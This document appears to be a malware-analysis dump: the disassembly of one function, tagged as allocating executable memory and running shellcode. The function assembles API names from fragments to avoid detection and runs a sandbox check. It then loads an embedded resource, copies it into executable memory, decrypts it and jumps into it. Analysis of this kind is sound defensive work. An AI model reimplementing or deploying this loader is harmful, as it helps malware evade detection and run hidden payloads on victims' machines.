Function at 0x4028a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x18c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EncryptFileA
push str.Advapi32.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.C:WindowsSetupStateState.ini
call eax
test eax, eax
jne 0x402f05
push ebx
push ebp
push edi
xor ebx, ebx
push 6
mov edi, 0xf
push str.LdrFin
lea ecx, [esp + 0x150]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10c], 0xa
mov dword [esp + 0x110], 0x1e55
mov dword [esp + 0x114], 0xc0c
mov dword [esp + 0x168], edi
mov dword [esp + 0x164], ebx
mov byte [esp + 0x154], bl
call fcn.00402410
push 5
push str.dReso
lea ecx, [esp + 0x80]
mov dword [esp + 0x98], edi
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
call fcn.00402410
push 6
push str.urce_U
lea ecx, [esp + 0x48]
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.00402410
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x7c]
push ecx
lea edx, [esp + 0x150]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.00402800
add esp, 0xc
push eax
lea ecx, [esp + 0x188]
push ecx
call fcn.00402800
mov eax, dword [esp + 0x150]
mov ebp, 0x10
add esp, 0xc
cmp eax, ebp
jb 0x4029c1
mov edx, dword [esp + 0x130]
push edx
call fcn.004055ad
add esp, 4
push 3
push 0x41125c
lea ecx, [esp + 0xb8]
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], bl
call fcn.00402410
push 5
push str.Acces
lea ecx, [esp + 0xf0]
mov dword [esp + 0x108], edi
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
call fcn.00402410
push 9
push str.sResource
lea ecx, [esp + 0x2c]
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.00402410
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xb8]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.00402800
add esp, 0xc
push eax
lea ecx, [esp + 0x118]
push ecx
call fcn.00402800
mov eax, dword [esp + 0x150]
add esp, 0xc
cmp eax, ebp
jb 0x402a7e
mov edx, dword [esp + 0x130]
push edx
call fcn.004055ad
add esp, 4
push 2
push 0x411244
lea ecx, [esp + 0x9c]
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
call fcn.00402410
push 3
push 0x411240
lea ecx, [esp + 0xd4]
mov dword [esp + 0xec], edi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.00402410
push 4
push str.tdll
lea ecx, [esp + 0x64]
mov dword [esp + 0x7c], edi
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.00402410
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.00402800
add esp, 0xc
push eax
lea ecx, [esp + 0x16c]
push ecx
call fcn.00402800
mov eax, dword [esp + 0x150]
add esp, 0xc
cmp eax, ebp
jb 0x402b3b
mov edx, dword [esp + 0x130]
push edx
call fcn.004055ad
add esp, 4
push str.ntdll.dll
call esi
mov edi, eax
push str.LdrFindResource_U
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4111f6
push 0x416460
mov dword [0x416350], eax
call fcn.00401f00
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402200
mov ecx, esi
call fcn.00401a80
push 0x4111f6
push 0x416460
call fcn.00401f00
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402200
mov ecx, esi
call fcn.00401a80
push 0x4111f6
push 0x416460
call fcn.00401f00
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402200
mov ecx, esi
call fcn.00401a80
push 0x4111f6
push 0x416460
call fcn.00401f00
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402200
mov ecx, esi
call fcn.00401a80
push 0x4111f6
push 0x416460
call fcn.00401f00
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402200
mov ecx, esi
call fcn.00401a80
push 0x4111f6
push 0x416460
call fcn.00401f00
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00402200
mov ecx, esi
call fcn.00401a80
cmp dword [esp + 0x128], ebp
mov eax, dword [esp + 0x114]
jae 0x402c44
lea eax, [esp + 0x114]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
call esi
mov dword [0x41638c], eax
lea eax, [esp + 0x1c]
push eax
push 3
lea ecx, [esp + 0x10c]
push ecx
push 0x400000
call dword [0x416350]
test eax, eax
jl 0x402c8b
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
push 0x400000
call dword [0x41638c]
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualAllocExNuma
push eax
call esi
mov edx, dword [esp + 0x10]
push ebx
push 0x40
push 0x1000
push edx
push ebx
mov dword [0x41637c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41637c]
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
mov edi, eax
mov dword [esp + 0x20], eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0x4f
push 0x415070
call fcn.00401690
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x2c]
lea edx, [esp + 0x20]
push edx
push eax
push esi
call fcn.00402500
add esp, 0x18
call esi
mov ecx, dword [esp + 0x1a0]
push ebx
push 0x401850
push ebx
push 0x65
push ecx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp dword [esp + 0x17c], ebp
jb 0x402d34
mov edx, dword [esp + 0x168]
push edx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x74], ebp
mov esi, 0xf
mov dword [esp + 0x17c], esi
mov dword [esp + 0x178], ebx
mov byte [esp + 0x168], bl
jb 0x402d61
mov eax, dword [esp + 0x60]
push eax
call fcn.004055ad
add esp, 4
cmp dword [esp + 0xe4], ebp
mov dword [esp + 0x74], esi
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
jb 0x402d86
mov ecx, dword [esp + 0xd0]
push ecx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0xac], ebp
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe0], ebx
mov byte [esp + 0xd0], bl
jb 0x402db4
mov edx, dword [esp + 0x98]
push edx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x128], ebp
mov dword [esp + 0xac], esi
mov dword [esp + 0xa8], ebx
mov byte [esp + 0x98], bl
jb 0x402de2
mov eax, dword [esp + 0x114]
push eax
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x3c], ebp
mov dword [esp + 0x128], esi
mov dword [esp + 0x124], ebx
mov byte [esp + 0x114], bl
jb 0x402e0a
mov ecx, dword [esp + 0x28]
push ecx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x100], ebp
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
jb 0x402e2f
mov edx, dword [esp + 0xec]
push edx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0xc8], ebp
mov dword [esp + 0x100], esi
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
jb 0x402e5d
mov eax, dword [esp + 0xb4]
push eax
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x198], ebp
mov dword [esp + 0xc8], esi
mov dword [esp + 0xc4], ebx
mov byte [esp + 0xb4], bl
jb 0x402e8b
mov ecx, dword [esp + 0x184]
push ecx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x58], ebp
mov dword [esp + 0x198], esi
mov dword [esp + 0x194], ebx
mov byte [esp + 0x184], bl
jb 0x402eb3
mov edx, dword [esp + 0x44]
push edx
call fcn.004055ad
add esp, 4
cmp dword [esp + 0x90], ebp
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
jb 0x402ed5
mov eax, dword [esp + 0x7c]
push eax
call fcn.004055ad
add esp, 4
mov eax, dword [esp + 0x160]
pop edi
cmp eax, ebp
pop ebp
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], bl
mov dword [esp + 0x88], esi
pop ebx
jb 0x402f05
mov ecx, dword [esp + 0x140]
push ecx
call fcn.004055ad
add esp, 4
xor eax, eax
pop esi
add esp, 0x18c
ret 0x10